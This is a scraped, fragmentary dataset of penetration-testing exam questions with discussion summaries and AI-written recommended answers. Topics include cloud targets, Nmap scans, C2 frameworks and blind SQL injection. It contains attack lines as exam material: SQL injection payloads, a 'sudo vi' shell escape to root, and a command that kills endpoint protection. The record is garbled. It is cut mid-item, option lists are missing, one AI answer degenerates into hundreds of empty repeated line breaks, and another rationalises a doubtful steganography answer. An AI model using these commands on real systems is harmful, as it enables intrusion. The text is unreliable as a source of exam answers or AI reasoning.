", "options": [{"letter": "A", "text": "Password encryption", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C. Secrets management solution, which the reason is it ensures safe storage of the password, where only authorized users can access it. The other options are not correct because: Password encryption may be broken, Role-based access control might not be useful for a service account, and Time-of-day restrictions also do not address the core problem.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C. Secrets management solution.\n
\nReasoning:\n
\nThe core issue is the insecure storage and distribution of a service account key. A secrets management solution addresses this directly by providing a secure, centralized vault for storing and managing sensitive information like passwords, API keys, and certificates. This ensures that only authorized users or applications can access the secret, reducing the risk of exposure.\n
\nHere's why the other options are less suitable:\n
\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovers that an organization's infrastructure is hosted in the cloud. Which of the following technologies should the penetration tester explore for vulnerabilities? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Virtualization", "html": "From the internet discussion, the conclusion of the answer to this question is BC and AB. The comments suggest that attacks on containerization tools like Docker and Kubernetes often start by compromising the applications running within the container. Once a container is compromised, the attacker can attempt to access the host. Others pointed out that virtualization is the technology that allows cloud-hosted infrastructure, and Kubernetes is a container management and orchestration platform often managing Docker containers, therefore identifying weaknesses in it would be crucial.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The question asks which technologies a penetration tester should explore for vulnerabilities in a cloud-hosted infrastructure. The suggested answer is AB (Virtualization, Kubernetes). Based on expert knowledge and the discussion, the AI suggests that the answer is AB (Virtualization, Kubernetes).
\nReasoning for choosing AB:
\n
\n
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following table:![](\"topic_1_question_393/image_0.png\"/)
Which of the following data structures would most likely be used to store Known-good configurations of firewall rules in a Python script?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q4 2024 to Q1 2025, the conclusion of the answer to this question is that it depends on the requirements, either A or C can be the correct answer, which the reason is: If managing multiple firewall rules, a list of dictionaries (A) is suitable. If managing a single firewall rule, using a dictionary (C) is appropriate because dictionaries are the most suitable data structure for storing firewall rules in a Python script, as they allow for easy association of configuration parameters with their respective values.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the question and discussion, the AI suggests that either option A or C could be suitable, depending on the specific needs of the application. However, considering that the question explicitly mentions storing \"Known-good configurations of firewall rules,\" the AI recommends the following answer with detailed reasoning:
\nThe AI suggests choosing option A (Lists) in combination with option C (Dictionaries) as the most appropriate data structure for storing known-good firewall configurations. Here's a breakdown of the reasoning:
\nfirewall_rules = [
\n {\"source_ip\": \"192.168.1.1\", \"destination_port\": 80, \"protocol\": \"tcp\", \"action\": \"allow\"},
\n {\"source_ip\": \"10.0.0.1\", \"destination_port\": 22, \"protocol\": \"tcp\", \"action\": \"deny\"}
\n ]In summary, using a list of dictionaries is the most flexible, scalable, and maintainable approach for storing and managing known-good firewall configurations in a Python script. It allows you to easily add, remove, and modify firewall rules while keeping the data organized and accessible.
\n\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools would be best to use to conceal data in various kinds of image files?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Kismet", "html": "Based on the internet discussion from Q4 2024 to Q1 2025, the consensus answer to this question is B. Snow, as it is used for steganography. The comments agree that Snow is the correct answer, because it is used for steganography.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is correct.
\nSnow is a steganography tool that can be used to conceal data within text files by appending whitespace to the end of lines. While this question mentions image files, the principle of steganography can be applied to various file types, including images. Therefore, Snow could potentially be used in conjunction with other tools or techniques to hide data in image files.\n
\nHere's why the other options are less suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs a reconnaissance script and would like the output in a standardized machine-readable format in order to pass the data to another application. Which of the following is the best for the tester to use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "JSON", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. JSON is a format designed to be both human-readable and easy for servers to parse, which the reason is that the comments mentioned that JSON format is designed for human readability and ease of parsing by servers.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A. JSON.
\nReasoning: JSON (JavaScript Object Notation) is a lightweight data-interchange format that is easy for humans to read and write and easy for machines to parse and generate. It's a widely used format for data serialization and transmission in web applications and other contexts where data needs to be exchanged between different systems or applications. The question specifically asks for a \"standardized machine-readable format in order to pass the data to another application,\" making JSON an ideal choice.
\nReasons for not choosing other options:\n
The reason of choosing JSON is because it is designed to be both human-readable and easy for servers to parse, fitting the description of a standardized machine-readable format perfectly.\n
"}, {"folder_name": "topic_1_question_396", "topic": "1", "question_num": "396", "question": "Which of the following best explains why communication is a vital phase of a penetration test?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following best explains why communication is a vital phase of a penetration test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To discuss situational awareness", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is to maintain situational awareness for both the client and the penetration tester, ensuring the test runs efficiently. This includes discussing vulnerabilities, asking for exceptions, de-escalation, and emergency contacts if any indicators of compromise (IoC) are discovered.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is A, and the AI agrees with this selection.
\nCommunication is vital during a penetration test because it ensures situational awareness. This means that both the penetration testers and the client are aware of the progress of the test, any vulnerabilities that are discovered, and any potential impact on the client's systems.
\nEffective communication allows for timely discussions regarding vulnerabilities, necessary exceptions, de-escalation strategies, and immediate contact protocols if any Indicators of Compromise (IoCs) are identified. This collaborative approach ensures the penetration test is executed efficiently and safely, minimizing potential disruptions and maximizing learning opportunities for all parties involved.
\nOption B is incorrect because building rapport with the emergency contact is a component of communication, but not the primary reason communication is vital.
\nOption C is incorrect because explaining the data destruction process is not a universal element of penetration testing and more related to data sanitization after a data breach.
\nOption D is incorrect because while a successful penetration test might encourage future assessments, this isn't the core reason for the importance of communication during the current test. The main goal of communication is to ensure the current test runs smoothly and effectively while keeping everyone informed.\n
\nIn summary:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following describes how a penetration tester could prioritize findings in a report?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Business mission and goats", "html": "Based on the internet discussion from Q2 2021 to Q1 2025, the conclusion regarding the prioritization of vulnerabilities during a penetration test is split between options A and D. Some users agree with prioritizing vulnerabilities based on the company's business mission and goals (Option A), as this ensures that vulnerabilities affecting critical operations are addressed first. The reasoning is that a tester should consider the impact of the vulnerabilities on the organization's objectives. However, other users agree with prioritizing by cyber threats (Option D), arguing that penetration testing focuses on identifying vulnerabilities and thus prioritizing based on the potential cyber threats makes sense. It has also been argued that a 3rd party tester should not consider business goals.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI suggests choosing option A (Business mission and goals).
\nReasoning: While prioritizing by cyber threats (Option D) is relevant, penetration testing should ultimately align with the organization's objectives. Prioritizing findings based on the business mission and goals ensures that the most critical assets and processes are protected first. This approach helps the organization focus its resources on mitigating risks that could have the most significant impact on its operations and strategic objectives. A penetration tester should identify how a vulnerability could impact the client's business.\n
\nReasoning for not choosing other options:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a security assessment, a penetration tester decides to implement a simple TCP port scanner to check the open ports from 1000 to 2000. Which of the following Python scripts would achieve this task?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "", "html": "![](\"topic_1_question_398/image_0.png\"/)
![](\"topic_1_question_398/image_1.png\"/)
![](\"topic_1_question_398/image_2.png\"/)
![](\"topic_1_question_398/image_3.png\"/)
\n\n Based on the internet discussion from Q4 2024 to Q1 2025, the consensus leans towards A as the correct answer. The reasoning is that A is correct and C is incorrect due SOCK_DGRAM = UDP (not TCP), and A stops in 2001, not in 2000, so D is incorrect. Some users also explained that the range function in Python excludes the end value, and it uses zero-based indexing.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, A.
\nReasoning:
\n The Python script in option A effectively implements a TCP port scanner within the specified range (1000-2000). Here's a breakdown:\n
for loop and the range(1000, 2001) function. Note that the range function's end parameter is exclusive, so 2001 is needed to include 2000.socket.socket(socket.AF_INET, socket.SOCK_STREAM). socket.AF_INET specifies the IPv4 address family, and socket.SOCK_STREAM specifies a TCP socket.setdefaulttimeout(1) sets a timeout of 1 second for the connection attempt, preventing the script from hanging indefinitely if a port is unresponsive.try...except block to handle connection errors, which would cause the script to terminate prematurely if a connection fails. Also the port range is incorrect (1000, 2000) will scan until 1999.socket.SOCK_DGRAM, which is for UDP connections, not TCP. The question specifically asks for a TCP port scanner. Also the port range is incorrect (1000, 2000) will scan until 1999.\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is doing an assessment for a company that requires an external command-and-control server. The command-and-control tool should be able to use multiple types of payloads (PowerShell, SMB, and binaries) and centralize the management of compromised systems. Which of the following tools should the tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "BeEF", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B (Covenant is a .NET Command and Control framework), which the reason is Covenant is a known and widely used .NET C2 framework.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B (Covenant).
\nReasoning:
\nCovenant is a .NET command and control framework designed to be a collaborative command and control platform for red teamers. It is well-suited for managing compromised systems and supports multiple payload types. The question explicitly mentions the need for a C2 server capable of handling PowerShell, SMB, and binaries, and Covenant aligns well with these requirements. Covenant's .NET infrastructure gives it excellent compatibility with Windows environments, commonly encountered during penetration tests.\n
\nWhy other options are incorrect:\n
\nTherefore, Covenant is the most appropriate tool for the scenario described.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is gathering information about a target company for a penetration test in order to tailor the type of attacks. However, the tester is worried about sending packets to the company that could tip off the SOC before the attacks begin. Which of the following sources should the tester use to achieve this objective?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Nmap", "html": "Agree with Suggested Answer: B. From the internet discussion, the conclusion of the answer to this question is Shodan, which the reason is Shodan is a passive reconnaissance tool, and the penetration tester is not actively interacting with the client's systems.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, B (Shodan).
\nReasoning: The question specifies that the penetration tester wants to gather information without alerting the Security Operations Center (SOC) by sending packets directly to the target company. This implies a need for passive reconnaissance. Shodan is a search engine that indexes devices connected to the internet. It provides information that is already publicly available, so using Shodan doesn't involve sending any packets to the target network, making it a passive information-gathering technique.\n
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following documents should be consulted if a client has an issue accepting a penetration test report that was provided?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Rules of engagement", "html": "From the internet discussion, the consensus is that the answer to this question is C. SOW (Statement of Work), as the Statement of Work outlines the objectives and goals of the engagement, along with deliverables and the acceptance criteria. If there is a conflict in the acceptance of the report, the acceptance criteria outlined in the Statement of Work should be consulted to determine if the report meets the agreed-upon requirements. Another opinion suggested A. Rules of Engagement (RoE), which also outlines the agreed-upon terms and scope of the penetration test, including expectations, limitations, deliverables, and how the results will be shared and interpreted; however, the most popular answer is the Statement of Work (SOW).
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer. The best document to consult when a client has an issue accepting a penetration test report is the Statement of Work (SOW).
\n
\nReasoning:
\nThe Statement of Work (SOW) is a detailed document that outlines the scope of work, deliverables, timelines, and acceptance criteria for a project. In the context of a penetration test, the SOW will specify the objectives of the test, the systems to be tested, the types of vulnerabilities to be identified, and the format and content of the final report. Crucially, it defines the acceptance criteria that the report must meet to be considered satisfactory. If a client disputes the acceptance of a report, the SOW serves as the primary reference point to determine whether the report fulfills the agreed-upon requirements.\n
\n
\nWhy other options are less suitable:\n
\nTherefore, consulting the Statement of Work (SOW) is the most appropriate course of action when a client disputes the acceptance of a penetration test report.\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration testing firm performs an assessment every six months for the same customer. While performing network scanning for the latest assessment, the penetration tester observes that several of the target hosts appear to be residential connections associated with a major television and ISP in the area. Which of the following is the most likely reason for the observation?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The penetration tester misconfigured the network scanner.", "html": "Based on the internet discussion from Q4 2024, the consensus answer is C. The primary reason for this conclusion is that the IP ranges likely changed, which is a routine occurrence. The discussion also points out that changes in IP ownership are not abnormal due to changes in ISP subscriber bases and network management. Furthermore, it is deduced that the tools are functioning properly, and there is no indication of misconfiguration or firewall blocking.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C (The IP ranges changed ownership).
\n
\nReasoning:
\nThe question describes a scenario where a penetration testing firm, during a routine assessment, discovers that previously known target hosts now appear to be residential connections associated with a major ISP. Since the assessment is performed every six months, it's unlikely that misconfiguration, tool malfunction, or sudden firewall implementation is the cause, as these issues would likely have been identified earlier. However, IP address ranges frequently change ownership as ISPs reallocate them due to subscriber base changes, mergers, or other network management activities. This explanation aligns with the observed scenario, making it the most plausible answer.
\n
\nWhy other options are less likely:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter successfully compromising a remote host, a security consultant notices an endpoint protection software is running on the host. Which of the following commands would be best for the consultant to use to terminate the protection software and its child processes?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "taskkill /PID/T /F", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. taskkill /PID/T /F, which the reason is /PID specifies the process ID, /T includes any child processes started by that process, and /F forces the termination of the process.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is A: taskkill /PID <pid> /T /F.
\nReasoning:
\nThe question requires a command to terminate a process and all its child processes effectively.\n
\nIn Summary: The command `taskkill /PID <pid> /T /F` is the most appropriate choice because it effectively terminates the specified process and all its child processes, using force termination to ensure complete removal of the endpoint protection software.\n
"}, {"folder_name": "topic_1_question_404", "topic": "1", "question_num": "404", "question": "Which of the following is the most secure way to protect a final report file when delivering the report to the client/customer?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the most secure way to protect a final report file when delivering the report to the client/customer?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Creating a link on a cloud service and delivering it by email", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B: PGP (Pretty Good Privacy) encryption, which the reason is PGP is widely used for securely encrypting files, ensuring only the recipient with the corresponding private key can decrypt and access the report, providing strong confidentiality and integrity.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is B: Asking for a PGP public key to encrypt the file.
\nReasoning: PGP (Pretty Good Privacy) encryption offers a strong and widely recognized method for securing files, especially when transmitting them to clients or customers. Here's a detailed breakdown:\n
\n
\n
\nIn summary, PGP encryption provides the most robust and secure method for delivering the final report, ensuring confidentiality, integrity, and authentication.\n
\n\n
\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA local firewall is configured to drop all incoming packets with the TCP SYN or URG flags set. Which of the following Nmap commands should a penetration tester use to scan the ports 22, 53, 80, and 443 on the target machine and get the most reliable results?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap -sY 10.4.7.18 -Pn -p 22,53,80,443", "html": "The consensus from internet discussions, from Q2 2024 to Q1 2025, suggests that the correct answer is C. The primary reason for this is that the -sA scan allows for the identification of filtered vs. unfiltered ports without relying on SYN packets, which are explicitly dropped by the firewall. Alternative options were considered incorrect because the firewall drops SYN packets. Specifically, -sS and -sT options rely on SYN packets and are therefore ineffective, and -sY is not suitable for this scenario.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is C.
\n
\nReasoning:
\nThe question states that the firewall drops all incoming packets with the TCP SYN or URG flags set. The goal is to scan ports 22, 53, 80, and 443 and get the most reliable results despite this restriction.\n
\nThe reason for not choosing other options:
\nOptions A, B, and D are all unsuitable because they use SYN packets, which the firewall is configured to drop. Only option C, the ACK scan, avoids using SYN packets and thus can provide useful information.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following Python data structures is the best way to store a group of key-value pair objects?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Arrays", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D, which the reason is a dictionary is an unordered collection of data where each item is stored as a key-value pair.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D (Dictionaries).
\nReasoning:
\nDictionaries in Python are specifically designed to store data in key-value pairs. This makes them the most appropriate data structure for representing objects where you need to associate a value with a unique key.
\nWhy other options are not the best:\n
\nDictionaries offer efficient key-based lookups using a hash table implementation. This is the core functionality needed when working with key-value pair objects, making it the most suitable choice.\n
\n\nTherefore, Dictionaries are the best choice.\n
"}, {"folder_name": "topic_1_question_407", "topic": "1", "question_num": "407", "question": "In order to improve the security of a company, an information security officer decided to implement multifactor authentication (MFA) technology. The company currently requires badges to access its facilities. Which of the following additional types of physical controls should the security officer recommend to enforce MFA?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn order to improve the security of a company, an information security officer decided to implement multifactor authentication (MFA) technology. The company currently requires badges to access its facilities. Which of the following additional types of physical controls should the security officer recommend to enforce MFA?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "What you have", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Who you are, which the reason is that the question is asking for physical controls. The answer fits as it involves biometric factors such as fingerprints, which are physical controls verifying identity. Using a badge combined with fingerprint scans is a common implementation in security data centers, according to the comments.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D (Who you are).
\n
\nReasoning:
\n The question explicitly asks for an *additional type of physical control* to enforce MFA, given that the company already uses badges for facility access. The key is to understand what constitutes \"physical controls\" in the context of MFA. The options represent the different factors of authentication:
\n
Suggested Answer: D
\nReason: Considering that the question specifically seeks an *additional physical control* to bolster MFA and the company already employs badges, the answer of \"Who you are\" (biometrics) is the most suitable selection as it is a physical control. The other options are either already in place (what you have) or are logical controls (what you know and where you are).\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter obtaining a reverse shell connection, a penetration tester runs the following command:![](\"topic_1_question_409/image_0.png\"/)
Which of the following is the fastest way to escalate privileges on this server?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is C, which the reason is C is the fastest method, vi has command execution ability.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is C. The AI agrees with the suggested answer.
\nThe fastest method to escalate privileges after obtaining a reverse shell, given the provided command execution context, is option C: Executing the command sudo vi -c '!bash'. This is because:\n
\n
\nReasoning:
\n The question asks for the *fastest* way to escalate privileges. Option C, leveraging `sudo vi` to spawn a root shell, is generally the most direct route when the user already has some `sudo` rights. The other options involve more steps, potential errors, or are less likely to succeed immediately.\n
\n
\nAdditional points to consider:
\n\n
\n\n
\nFinal Answer: The final answer is C.\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
"}, {"folder_name": "topic_1_question_412", "topic": "1", "question_num": "412", "question": "During an assessment of a web application, a penetration tester would like to test the application for blind SQL injection. Which of the following techniques should the penetration tester perform next?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment of a web application, a penetration tester would like to test the application for blind SQL injection. Which of the following techniques should the penetration tester perform next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "1' ORDER BY 1--+", "html": "From the internet discussion, the conclusion of the answer to this question is B, which the reason is that it employs time-based techniques, specifically the WAITFOR DELAY command, to detect blind SQL injection. This method is effective when the application doesn't provide direct feedback. The command causes the database to pause for a set duration if a condition is true, allowing testers to infer successful injection by observing response delays. Other answers are not the correct one.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B.
\nThe primary reason for selecting option B is its utilization of a time-based technique to identify blind SQL injection vulnerabilities. The WAITFOR DELAY command introduces a measurable delay in the database response, contingent upon the truthiness of the injected condition (1=1 in this instance). This is particularly effective for blind SQL injection, where direct error messages or data leakage are absent, and the tester must infer success based on response timings.
\nThe other options are less suitable because they either aim to induce errors or perform basic boolean checks that are less reliable for blind SQL injection scenarios.
\n
1' ORDER BY 1--+) is more commonly used for determining the number of columns in a SELECT statement during regular SQL injection, not specifically blind SQL injection.xyz' AND '1' = '1) is a basic boolean check that might reveal if the application is vulnerable to SQL injection in general, but it does not provide a reliable method for blind SQL injection detection without error messages.xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a) attempts to trigger a division-by-zero error, but this is less reliable for blind SQL injection as the error might be suppressed or handled by the application, preventing the tester from confirming the vulnerability based on the application's response.WAITFOR DELAY in option B offers a more direct and reliable method for detecting blind SQL injection.\n \nReasoning:
\n Blind SQL injection is a type of SQL injection where an attacker is unable to see the results of their injected queries directly. Therefore, they must use techniques to infer whether the injection was successful. Time-based techniques, such as introducing a delay, are common methods for detecting blind SQL injection.
\n The payload '; IF (1=1) WAITFOR DELAY '0:0:10'-- works by:\n
